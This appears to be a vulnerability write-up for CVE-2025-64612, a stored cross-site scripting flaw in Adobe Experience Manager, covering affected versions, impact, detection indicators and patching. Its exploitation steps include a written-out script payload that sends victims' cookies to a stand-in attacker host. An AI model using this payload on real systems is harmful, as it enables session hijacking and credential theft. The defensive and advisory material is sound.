CVE-2025-64612: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64612 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises), versions prior to 6.5.24.0, and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9–10, 2025, as part of Adobe's security bulletin APSB25-115. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged, authenticated attacker can inject malicious JavaScript into vulnerable form fields within AEM, which is then stored and later executed in the browser of any victim who visits the page containing the affected field. Exploitation requires user interaction (a victim browsing to the affected page) and low privileges, but no special configuration. The changed scope indicates the injected script can affect resources beyond the vulnerable component itself (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session hijacking, credential theft, unauthorized actions on behalf of the victim, or further phishing attacks. Both confidentiality and integrity are impacted at a low level, with no direct availability impact. Because AEM is commonly used as an enterprise content management platform, exploitation could affect a broad user base including administrators and content editors (Adobe Advisory).

1. Reconnaissance: Identify an AEM instance running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using network scanning or public exposure tools.
2. Authenticate: Obtain low-privileged credentials to the AEM instance (e.g., a standard author or contributor account).
3. Identify vulnerable form fields: Navigate to AEM pages or components that contain form fields susceptible to stored XSS — typically rich text editors, comment fields, or custom form components that do not properly sanitize input.
4. Inject malicious payload: Submit a crafted JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save or publish the content.
5. Trigger execution: When a victim (e.g., another user or administrator) browses to the page containing the injected content, the malicious script executes in their browser, potentially stealing session cookies, credentials, or performing actions on their behalf (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) containing encoded JavaScript tags (<script>, javascript:, onerror=, etc.) from low-privileged user accounts.
• File System / Content Repository: Unexpected JavaScript snippets stored within AEM JCR (Java Content Repository) nodes, particularly in text or richtext properties of page components.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages, potentially carrying session tokens or cookie data as query parameters.
• Logs: Browser-side console errors or CSP (Content Security Policy) violation reports referencing unexpected external script sources originating from AEM pages.

Adobe has released patches addressing this vulnerability. Users should upgrade AEM on-premises to version 6.5.24.0 or later, and AEM Cloud Service users should ensure they are on the 2025.12.0 release or later. No specific configuration-based workaround has been published; upgrading to the patched version is the recommended remediation. Organizations should also review AEM content for any previously injected malicious scripts and audit low-privileged user activity on authoring interfaces (Adobe Advisory).

The Center for Internet Security (CIS) issued an advisory noting multiple vulnerabilities in Adobe products, including this CVE, warning of potential for arbitrary code execution across the broader APSB25-115 bulletin (CIS Advisory). No notable individual researcher commentary or significant social media discussion specific to CVE-2025-64612 has been identified beyond standard vulnerability tracking coverage.
